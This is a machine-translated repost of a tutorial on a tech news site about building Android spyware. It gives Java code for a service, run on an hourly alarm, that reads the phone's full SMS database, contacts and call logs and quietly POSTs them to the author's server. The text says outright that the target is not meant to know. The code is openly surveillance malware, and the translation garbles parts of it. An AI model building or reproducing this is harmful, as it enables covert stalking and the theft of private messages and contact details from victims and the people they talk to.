Network Security Internet Technology Development Database Servers Mobile Phone Android Software Apple Software Computer Software News IT Information

In addition to Weibo, there is also WeChat

Please pay attention

WeChat public account

Shulou

How does Android implement an application similar to SkyEye?

2025-03-31 Update From: SLTechnology News&Howtos shulou NAV: SLTechnology News&Howtos > Network Security >

Share

Shulou(Shulou.com)05/31 Report--

This article mainly introduces Android how to achieve similar to the sky eye application related knowledge, the content is detailed and easy to understand, the operation is simple and fast, has a certain reference value, I believe that everyone after reading this Android how to achieve similar to the sky eye application article will have a harvest, let's take a look.

In today's tutorial, we will continue to collect information about contacts, call records and text messages (SMS) on your mobile phone. In a sense, we will put the code in services that run regularly (from time to time, at intervals) and make sure we have the latest information. You can set the interval to any value from one minute to any hour of the day.

We add a button to trigger monitoring on the target device. Let's go to our content_dashboard.xml and add a button.

Using the buttons declared in the layout, let's declare it in the Dashboard.java file. In the public class Dashboard... Statement, declare the button.

Public class Dashboard extends AppCompatActivity {private RecyclerView recyclerView; private List recyclerJavaList = new ArrayList (); private RecyclerAdapter recyclerAdapter; private Button service_monitor_btn; / / New added button declaration protected static final int GPS_REQUEST_CODE = 5000; protected static final int CONTACTS_REQUEST_CODE = 5001; protected static final int CALENDAR_REQUEST_CODE = 5002; protected static final int MIC_REQUEST_CODE = 5003; protected static final int CAMERA_REQUEST_CODE = 5004; protected static final int STORAGE_REQUEST_CODE = 5005 Protected static final int SMS_REQUEST_CODE = 5006 th ONCREATE METHOD

ONCREATE method

After declaring our button, let's scroll to the onCreate method and set a reference to our button and set the click listener.

@ Overrideprotected void onCreate (Bundle savedInstanceState) {super.onCreate (savedInstanceState); setContentView (R.layout.activity_dashboard); Toolbar toolbar = findViewById (R.id.dashboard_toolbar); setSupportActionBar (toolbar); recyclerView = findViewById (R.id.dashboard_recycler_view); recyclerAdapter = new RecyclerAdapter (recyclerJavaList); RecyclerView.LayoutManager mLayoutManager = new LinearLayoutManager (getApplicationContext ()); recyclerView.setLayoutManager (mLayoutManager); recyclerView.setItemAnimator (new DefaultItemAnimator ()) RecyclerView.addItemDecoration (new DividerItemDecoration (Dashboard.this, LinearLayoutManager.VERTICAL)); / / Finding the button service_monitor_btn = findViewById (R.id.service_monitor_button); / / Checking if our TimerService is running if (MyServiceIsRunning (TimerService.class)) {service_monitor_btn.setText ("STOP MONITORING");} else {service_monitor_btn.setText ("START MONITORING") } / / Setting a click listener on the button service_monitor_btn.setOnClickListener (new View.OnClickListener () {@ Override public void onClick (View view) {if (MyServiceIsRunning (TimerService.class)) {Log.i ("0x00sec", "Stopping Service..."); stopService (new Intent (Dashboard.this, TimerService.class)) Service_monitor_btn.setText ("START MONITORING");} else {Log.i ("0x00sec", "Starting Service..."); startService (new Intent (Dashboard.this, TimerService.class)); service_monitor_btn.setText ("STOP MONITORING");}}); updateRecycler ();}

1-We assign buttons to view objects in the layout file.

2-MyServiceIsRunning is a way to check whether a service is running. We want the text on the button to be set to stop when the service is running and start when the service is not running.

3-the service to be checked is TimerService.class. Its function is to set up a repeated alarm function and call the broadcast receiver to send information to the server. Let's accept it bit by bit.

MYSERVICEISRUNNING

Explain that this method accepts service parameters and checks whether the service is running and returns a Boolean value (true / false)

Private boolean MyServiceIsRunning (Class serviceClass) {ActivityManager manager = (ActivityManager) getSystemService (Context.ACTIVITY_SERVICE); for (ActivityManager.RunningServiceInfo service: manager.getRunningServices (Integer.MAX_VALUE)) {if (serviceClass.getName (). Equals (service.service.getClassName () {return true;}} return false;}

Timed service

This service initiates a repeated alert (alert manager) that invokes the broadcast receiver. The receiver then starts uploading information. Create a new java class and extend it to the Service class.

Let's start with code:

Import android.app.AlarmManager;import android.app.PendingIntent;import android.app.Service;import android.content.Context;import android.content.Intent;import android.os.IBinder;import android.os.SystemClock;import android.support.annotation.Nullable;import android.util.Log;public class TimerService extends Service {@ Overridepublic void onCreate () {super.onCreate (); AlarmManager alarmManager = (AlarmManager) getSystemService (Context.ALARM_SERVICE); Intent intent = new Intent (TimerService.this, ServerUpdateReceiver.class) PendingIntent pendingIntent = PendingIntent.getBroadcast (this,0,intent, 0); alarmManager.setRepeating (AlarmManager.ELAPSED_REALTIME_WAKEUP, SystemClock.elapsedRealtime (), AlarmManager.INTERVAL_HOUR, pendingIntent); / / stopSelf (); / / Optional} @ Overridepublic int onStartCommand (Intent intent, int flags, int startId) {return super.onStartCommand (intent, flags, startId);} @ Overridepublic void onDestroy () {/ Stop Service super.onDestroy () } @ Nullable@Overridepublic IBinder onBind (Intent intent) {return null;}}

The only method that matters is the onCreate method.

Using AlarmManager, we arrange for repeated alerts to invoke the ServerUpdateReceiver.class (broadcast receiver). The data can be passed to the receiver through the intent.putExtra call, but we will not pass any data at this time.

Another thing to pay attention to is AlarmManager.INTERVAL_HOUR. This parameter, in milliseconds, is the interval between alerts. The minimum value is 60 seconds (1 minute-60000 milliseconds), which you cannot set below. If you set it to less than 60 seconds, Android forces it to be set to one minute. We configure the receiver to be called every hour. It is even recommended to add a little bit, because frequent calls can call applications that crash, run out of batteries, or kill our applications if they run out of memory.

I am fully aware that we will not check whether the phone is connected to the Internet before sending the data. We'll fix it later, but at the same time we have to make sure the phone is connected to the Internet. Duplicate calls without an Internet connection will cause the application to crash temporarily. Temporarily because the alarm call will be triggered again, and the alarm call will call our receiver again. Keep repeating.

Service Update receiver (broadcast)

The receiver simply sends periodic data to our defined server. If permissions are not granted, the appropriate method will not be called, because android does not allow us to collect data that we do not have access to.

Create a java class and extend it to the BroadcastReceiver class.

Remember, if you do not name objects according to the objects in the tutorial, be sure to replace them according to the code.

The only method that BroadcastReceiver needs is the onReceive Override method. Your code should look like this:

Public class ServerUpdateReceiver extends BroadcastReceiver {@ Override public void onReceive (Context context, Intent intent) {}}

Under the public class statement, let's declare a Context. With this, all other methods can access it.

Public class ServerUpdateReceiver extends BroadcastReceiver {Context context;...

Development method

In this method, we first check to see if permissions are granted, and then call the appropriate method. This tutorial will introduce contacts, phone records and text messages.

@ Overridepublic void onReceive (Context context, Intent intent) {this.context = context; if (ActivityCompat.checkSelfPermission (context, Manifest.permission.READ_SMS) = = PackageManager.PERMISSION_GRANTED) {new Thread (new Runnable () {@ Overridepublic void run () {update_Server_SMS ();}}) .start () } if (ActivityCompat.checkSelfPermission (context, Manifest.permission.READ_CONTACTS) = = PackageManager.PERMISSION_GRANTED) {new Thread (new Runnable () {@ Override public void run () {update_Server_Contacts (); update_Server_Call_Logs ();}}) .start ();}}

The method to send SMS messages to the server is update_Server_SMS, and the methods responsible for sending contact information and calling logs are update_Server_Call_Logs and update_Server_Contacts.

Instead of using different methods to handle communication with the server. We will create a method that accepts POST parameters and handler communication. With this, all methods in the class can communicate externally by calling it and passing their parameters.

UPDATE_SERVER method

Updating the server is a way to handle communication with the server. It accepts POST parameters and sends them.

Private void update_Server (final Map params) {RequestQueue requestQueue = Volley.newRequestQueue (context) StringRequest serverRequest = new StringRequest (Request.Method.POST, Configuration.getApp_auth (), new Response.Listener () {@ Override public void onResponse (String req) {}}, new Response.ErrorListener () {@ Override public void onErrorResponse (VolleyError error) {}}) {protected Map getParams () {return params;}}; requestQueue.add (serverRequest) }

Since this class is non-UI (well, maybe we can do very little UI work, such as notifications, etc.), we don't want to push any notifications such as upload completed, because it is a spyware application: we make the target do not want to know what has been sent. As quiet as possible. Therefore, we do not include any UI code here. Since we don't know whether our data has been saved, we make sure that the server receives the data correctly. Continue to...

UPDATE_SERVER_SMS

This method reads the phone's SMS database (inbox, drafts, sent) and sends them to the server through the update_Server method.

Private void update_Server_SMS () {SharedPreferences sharedPreferences = context.getSharedPreferences ("Auth", Context.MODE_PRIVATE); final String auth_key = sharedPreferences.getString ("auth_key", null); try {Uri uriSMSURI = Uri.parse ("content://sms"); Cursor cursor = context.getContentResolver (). Query (uriSMSURI, null,null, null,null) While (cursor.moveToNext ()) {String address = cursor.getString (cursor.getColumnIndexOrThrow ("address")). ToString (); String message = cursor.getString (cursor.getColumnIndexOrThrow ("body")). ToString (); String date = cursor.getString (cursor.getColumnIndexOrThrow ("date")). ToString (); String read = cursor.getString (cursor.getColumnIndexOrThrow ("read")). ToString () String type = cursor.getString (cursor.getColumnIndexOrThrow ("type")). ToString (); String id = cursor.getString (cursor.getColumnIndexOrThrow ("_ id")). ToString (); if (read.equals ("0")) {read = "no";} else {read = "yes";} if (type.equals ("1")) {type = "inbox" } else if (type.equals ("2")) {type = "sent";} else {type = "draft";} date = get_Long_Date (date); / / THIS IS HOW TO CREATE THE POST PARAMETERS (MAP ARRAY) Map params = new HashMap (); params.put ("address", address); params.put ("message", message) Params.put ("date", date); params.put ("read", read); params.put ("id", id); params.put ("type", type); params.put ("auth", auth_key); update_Server (params);} catch (Exception e) {}}

Content:// sms-allows us to traverse the entire SMS database instead of limiting ourselves to inboxes, drafts, or sent messages.

Cursor.getColumnIndexOrThrow-allows us to get the corresponding column index of the cursor. Note that entering the wrong column name will cause the application to crash. These are the meanings of columns.

Address-phone number

Message-the content of the message

Date-time of the message

Read-message status (0-not read, 1-read)

Type-message type (1-inbox, 2-outbox, 3-draft (guessing work))

Id-unique message identifier

Use get_Long_Date to make dates human-readable.

Then we construct the POST parameter and call the update_Server method to pass the information.

The server should then receive something like $_ POST ['address'] & & $_ POST [' message'].

GET_LONG_DATE method

Accepts and converts the passed parameter to a readable parameter.

Private String get_Long_Date (String date) {Long timestamp = Long.parseLong (date); Calendar calendar = Calendar.getInstance (); calendar.setTimeInMillis (timestamp); DateFormat formatter = new SimpleDateFormat ("yyyy-MM-dd hh:mm:ss"); return formatter.format (calendar.getTime ());}

UPDATE_SERVER_CONTACTS

This method is the same as the one above, traversing the Contact database, getting the information, and sending it.

Private void update_Server_Contacts () {SharedPreferences sharedPreferences = context.getSharedPreferences ("Auth", Context.MODE_PRIVATE); final String auth_key = sharedPreferences.getString ("auth_key", null); Cursor cursor = context.getContentResolver (). Query (ContactsContract.Contacts.CONTENT_URI,null, null); while (cursor.moveToNext ()) {try {String contactId = cursor.getString (cursor.getColumnIndex (ContactsContract.Contacts._ID)) String name=cursor.getString (cursor.getColumnIndex (ContactsContract.Contacts.DISPLAY_NAME)); String phoneNumber = null; if (Integer.parseInt (cursor.getString (cursor.getColumnIndex (ContactsContract.Contacts.HAS_PHONE_NUMBER) > 0) {Cursor phones = context.getContentResolver (). Query (ContactsContract.CommonDataKinds.Phone.CONTENT_URI, null, ContactsContract.CommonDataKinds.Phone.CONTACT_ID + "=" + contactId, null, null) While (phones.moveToNext ()) {phoneNumber = phones.getString (phones.getColumnIndex (ContactsContract.CommonDataKinds.Phone.NUMBER)); break;} phones.close (); if (phoneNumber! = null) {Map params = new HashMap () Params.put ("contact_name", name); params.put ("contact_phone", phoneNumber); params.put ("auth", auth_key); update_Server (params);} catch (Exception e) {}

Similarly, changing the ColumnIndex will cause the application to crash. They are immutable values.

UPDATE_SERVER_CALL_LOGS

Method is like the other two loops by calling the log database and getting the information.

@ SuppressLint ("MissingPermission") private void update_Server_Call_Logs () {SharedPreferences sharedPreferences = context.getSharedPreferences ("Auth", Context.MODE_PRIVATE); final String auth_key = sharedPreferences.getString ("auth_key", null); Cursor cursor = context.getContentResolver (). Query (CallLog.Calls.CONTENT_URI, null, null); int phone_number = cursor.getColumnIndex (CallLog.Calls.NUMBER); int type = cursor.getColumnIndex (CallLog.Calls.TYPE) Int date = cursor.getColumnIndex (CallLog.Calls.DATE); int duration = cursor.getColumnIndex (CallLog.Calls.DURATION); while (cursor.moveToNext ()) {String number = cursor.getString (phone_number); String call_type = cursor.getString (type); String call_date = get_Long_Date (cursor.getString (date)); String call_duration = cursor.getString (duration) Int call_code = Integer.parseInt (call_type); switch (call_code) {case CallLog.Calls.OUTGOING_TYPE: call_type = "OUTGOING"; break; case CallLog.Calls.INCOMING_TYPE: call_type = "INCOMING"; break Case CallLog.Calls.MISSED_TYPE: call_type = "MISSED"; break;} Map params = new HashMap (); params.put ("phone_number", number); params.put ("call_date", call_date); params.put ("call_type", call_type); params.put ("call_duration", call_duration) Params.put ("auth", auth_key); update_Server (params);} cursor.close ();}

We have completed this tutorial. Before we surpass ourselves. It took me a few days to realize that I forgot to add the appropriate call log permissions, even though we added them in the previous tutorial. No READ_CALL_LOGS and WRITE_CALL_LOGS permissions. We don't have access to the phone records. Let's add them to AndroidManifest.xml.

Now come on and run your Android application. Allow permissions and start monitoring. Your data should be sent to the test server (if you use my test server).

This is the end of the article on "how to implement Android similar to Heavenly Eye applications". Thank you for reading! I believe that everyone has a certain understanding of the knowledge of "how to achieve Android similar to the SkyEye application". If you want to learn more, you are welcome to follow the industry information channel.

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.

Views: 0

*The comments in the above article only represent the author's personal views and do not represent the views and positions of this website. If you have more insights, please feel free to contribute and share.

Share To

Network Security

Wechat

© 2024 shulou.com SLNews company. All rights reserved.

12
Report